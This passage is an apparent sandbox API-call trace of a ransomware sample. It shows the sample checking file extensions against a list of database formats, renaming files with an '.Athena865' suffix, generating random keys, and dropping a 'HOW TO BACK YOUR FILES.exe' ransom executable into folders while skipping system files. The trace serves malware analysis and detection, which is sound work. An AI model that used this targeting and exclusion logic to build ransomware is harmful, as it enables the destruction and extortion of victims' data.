lstrlenW (lpString="db-wal") returned 6 [0096.223] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0096.223] lstrlenW (lpString="dbc") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.223] lstrlenW (lpString="dbs") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.223] lstrlenW (lpString="dbt") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.223] lstrlenW (lpString="dbv") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.223] lstrlenW (lpString="dbx") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.223] lstrlenW (lpString="dcb") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.223] lstrlenW (lpString="dct") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0096.223] lstrlenW (lpString="dcx") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.223] lstrlenW (lpString="ddl") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.223] lstrlenW (lpString="dlis") returned 4 [0096.223] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.223] lstrlenW (lpString="dp1") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.223] lstrlenW (lpString="dqy") returned 3 [0096.223] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.223] lstrlenW (lpString="dsk") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.224] lstrlenW (lpString="dsn") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.224] lstrlenW (lpString="dtsx") returned 4 [0096.224] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.224] lstrlenW (lpString="dxl") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.224] lstrlenW (lpString="eco") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.224] lstrlenW (lpString="ecx") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.224] lstrlenW (lpString="edb") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.224] lstrlenW (lpString="epim") returned 4 [0096.224] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.224] lstrlenW (lpString="fcd") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.224] lstrlenW (lpString="fdb") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.224] lstrlenW (lpString="fic") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.224] lstrlenW (lpString="flexolibrary") returned 12 [0096.224] lstrcmpiW (lpString1="Mail.exe.mui", lpString2="flexolibrary") returned 1 [0096.224] lstrlenW (lpString="fm5") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.224] lstrlenW (lpString="fmp") returned 3 [0096.224] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.224] lstrlenW (lpString="fmp12") returned 5 [0096.224] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0096.224] lstrlenW (lpString="fmpsl") returned 5 [0096.224] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0096.224] lstrlenW (lpString="fol") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.225] lstrlenW (lpString="fp3") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.225] lstrlenW (lpString="fp4") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.225] lstrlenW (lpString="fp5") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.225] lstrlenW (lpString="fp7") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.225] lstrlenW (lpString="fpt") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.225] lstrlenW (lpString="frm") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.225] lstrlenW (lpString="gdb") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.225] lstrlenW (lpString="gdb") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.225] lstrlenW (lpString="grdb") returned 4 [0096.225] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.225] lstrlenW (lpString="gwi") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.225] lstrlenW (lpString="hdb") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.225] lstrlenW (lpString="his") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.225] lstrlenW (lpString="ib") returned 2 [0096.225] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.225] lstrlenW (lpString="idb") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.225] lstrlenW (lpString="ihx") returned 3 [0096.225] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.225] lstrlenW (lpString="itdb") returned 4 [0096.226] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.226] lstrlenW (lpString="itw") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.226] lstrlenW (lpString="jet") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.226] lstrlenW (lpString="jtx") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.226] lstrlenW (lpString="kdb") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.226] lstrlenW (lpString="kexi") returned 4 [0096.226] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.226] lstrlenW (lpString="kexic") returned 5 [0096.226] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0096.226] lstrlenW (lpString="kexis") returned 5 [0096.226] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0096.226] lstrlenW (lpString="lgc") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.226] lstrlenW (lpString="lwx") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.226] lstrlenW (lpString="maf") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.226] lstrlenW (lpString="maq") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.226] lstrlenW (lpString="mar") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.226] lstrlenW (lpString="marshal") returned 7 [0096.226] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0096.226] lstrlenW (lpString="mas") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.226] lstrlenW (lpString="mav") returned 3 [0096.226] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.226] lstrlenW (lpString="maw") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.227] lstrlenW (lpString="mdbhtml") returned 7 [0096.227] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0096.227] lstrlenW (lpString="mdn") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.227] lstrlenW (lpString="mdt") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.227] lstrlenW (lpString="mfd") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.227] lstrlenW (lpString="mpd") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.227] lstrlenW (lpString="mrg") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.227] lstrlenW (lpString="mud") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.227] lstrlenW (lpString="mwb") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.227] lstrlenW (lpString="myd") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.227] lstrlenW (lpString="ndf") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.227] lstrlenW (lpString="nnt") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.227] lstrlenW (lpString="nrmlib") returned 6 [0096.227] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0096.227] lstrlenW (lpString="ns2") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.227] lstrlenW (lpString="ns3") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.227] lstrlenW (lpString="ns4") returned 3 [0096.227] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.227] lstrlenW (lpString="nsf") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.228] lstrlenW (lpString="nv") returned 2 [0096.228] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.228] lstrlenW (lpString="nv2") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.228] lstrlenW (lpString="nwdb") returned 4 [0096.228] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.228] lstrlenW (lpString="nyf") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.228] lstrlenW (lpString="odb") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.228] lstrlenW (lpString="odb") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.228] lstrlenW (lpString="oqy") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.228] lstrlenW (lpString="ora") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.228] lstrlenW (lpString="orx") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.228] lstrlenW (lpString="owc") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.228] lstrlenW (lpString="p96") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.228] lstrlenW (lpString="p97") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.228] lstrlenW (lpString="pan") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.228] lstrlenW (lpString="pdb") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.228] lstrlenW (lpString="pdm") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.228] lstrlenW (lpString="pnz") returned 3 [0096.228] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.229] lstrlenW (lpString="qry") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.229] lstrlenW (lpString="qvd") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.229] lstrlenW (lpString="rbf") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.229] lstrlenW (lpString="rctd") returned 4 [0096.229] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.229] lstrlenW (lpString="rod") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.229] lstrlenW (lpString="rodx") returned 4 [0096.229] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.229] lstrlenW (lpString="rpd") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.229] lstrlenW (lpString="rsd") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.229] lstrlenW (lpString="sas7bdat") returned 8 [0096.229] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0096.229] lstrlenW (lpString="sbf") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.229] lstrlenW (lpString="scx") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.229] lstrlenW (lpString="sdb") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.229] lstrlenW (lpString="sdc") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.229] lstrlenW (lpString="sdf") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.229] lstrlenW (lpString="sis") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.229] lstrlenW (lpString="spq") returned 3 [0096.229] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.230] lstrlenW (lpString="te") returned 2 [0096.230] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.230] lstrlenW (lpString="teacher") returned 7 [0096.230] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0096.230] lstrlenW (lpString="tmd") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.230] lstrlenW (lpString="tps") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.230] lstrlenW (lpString="trc") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.230] lstrlenW (lpString="trc") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.230] lstrlenW (lpString="trm") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.230] lstrlenW (lpString="udb") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.230] lstrlenW (lpString="udl") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.230] lstrlenW (lpString="usr") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.230] lstrlenW (lpString="v12") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.230] lstrlenW (lpString="vis") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.230] lstrlenW (lpString="vpd") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.230] lstrlenW (lpString="vvv") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.230] lstrlenW (lpString="wdb") returned 3 [0096.230] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.230] lstrlenW (lpString="wmdb") returned 4 [0096.231] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.231] lstrlenW (lpString="wrk") returned 3 [0096.231] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.231] lstrlenW (lpString="xdb") returned 3 [0096.231] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.231] lstrlenW (lpString="xld") returned 3 [0096.231] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.231] lstrlenW (lpString="xmlff") returned 5 [0096.231] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0096.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865") returned 67 [0096.231] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui.athena865"), dwFlags=0x1) returned 1 [0096.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.232] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5632) returned 1 [0096.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.233] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.233] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.233] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x17c [0096.234] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0096.239] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.240] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.240] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.241] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.241] CloseHandle (hObject=0x17c) returned 1 [0096.241] CloseHandle (hObject=0x154) returned 1 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.241] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0096.241] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.241] ReleaseMutex (hMutex=0xec) returned 1 [0096.241] CloseHandle (hObject=0xec) returned 1 [0096.241] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned="C:\\Program Files (x86)\\Windows Media Player\\en-US" [0096.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e510 | out: hHeap=0x4f0000) returned 1 [0096.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da18 | out: hHeap=0x4f0000) returned 1 [0096.242] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned 49 [0096.242] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4BC9A6EF143402016D1A66EDBCB8FF45") returned 0xec [0096.242] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.242] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned="C:\\Program Files (x86)\\Windows Media Player\\en-US" [0096.242] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.242] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.243] GetLastError () returned 0x0 [0096.243] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.243] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.243] CloseHandle (hObject=0xf4) returned 1 [0096.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.244] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.244] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3a13f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3a13f80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.244] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.244] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.244] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3a13f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3a13f80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.244] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.244] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a13f80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3a13f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.244] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="windows") returned -1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="bootmgr") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="temp") returned -1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="pagefile.sys") returned -1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ids.txt") returned 1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntuser.dat") returned -1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="perflogs") returned -1 [0096.244] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="MSBuild") returned -1 [0096.245] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0096.245] lstrcpyW (in: lpString1=0x241e8ac, lpString2="mpvis.dll.mui" | out: lpString1="mpvis.dll.mui") returned="mpvis.dll.mui" [0096.245] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0096.245] lstrlenW (lpString="Athena865") returned 9 [0096.245] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0096.245] lstrlenW (lpString=".dll") returned 4 [0096.245] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".dll") returned 1 [0096.245] lstrlenW (lpString=".lnk") returned 4 [0096.245] lstrcmpiW (lpString1="mpvis.dll.mui", 